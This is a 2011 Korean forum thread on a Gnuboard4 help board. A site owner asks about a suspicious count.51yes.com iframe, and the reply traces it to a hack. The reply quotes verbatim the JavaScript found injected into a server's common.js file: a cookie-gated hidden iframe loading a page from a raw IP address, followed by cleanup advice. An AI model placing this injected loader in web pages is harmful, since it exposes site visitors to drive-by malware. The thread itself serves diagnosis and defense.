깜

count.51yes.com가 뜨는데 바이러스에 감염된것인가요?

· 2011-04-16 (토) 00:15:11 · 12102 · 2
홈피에 좁속하면 가끔 아이프레임으로 count.51yes.com가 잡히는데 바이러스인가요??
이걸 어디 파일에서 잡아 삭제해야 될지.. ㅜㅜ 혹시 아시는분 있으신가요?
|

댓글 2개

2011-04-16 (토) 09:30:33
해킹인듯 ... 해당 ftp 해킹인듯 보이는군유 ..
제경우 조금전에 해결 했습니다.
서버의 common.js 파일이 첫줄에
if(document.cookie.indexOf('veatpr')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='veatpr=Yes;path=/;expires='+expires.toGMTString();document.write("<iframe src=http://121.88.6.105/E.Html width=0 height=0></iframe>");}
가 들어있었습니다.
서버의 폴더의 퍼미션을 최대한 막고 특히 bbs/ js/ 내의 코드에서 위의 스크립트 확인을 해보세요.
댓글을 작성하시려면 로그인이 필요합니다.

그누4 질문답변

66,531건

그누보드4 관련 질문은 QA 로 이전됩니다. QA 그누보드4 바로가기 기존 게시물은 열람만 가능합니다.

+
제목 글쓴이 날짜 조회
11-04-16 조회 2,260
11-04-16 조회 1,680
11-04-16 조회 1,913
11-04-16 조회 1,629
11-04-16 조회 1,627
11-04-16 조회 2,222
11-04-16 조회 2,592
11-04-16 조회 1,698
11-04-16 조회 2,467
11-04-16 조회 1,788
11-04-16 조회 1,839
11-04-16 조회 1,670
11-04-16 조회 1,635
11-04-16 조회 1,649
11-04-16 조회 1,373
11-04-16 조회 1,702
11-04-16 조회 1,724
11-04-16 조회 1.2만
11-04-15 조회 4,007
11-04-15 조회 1,863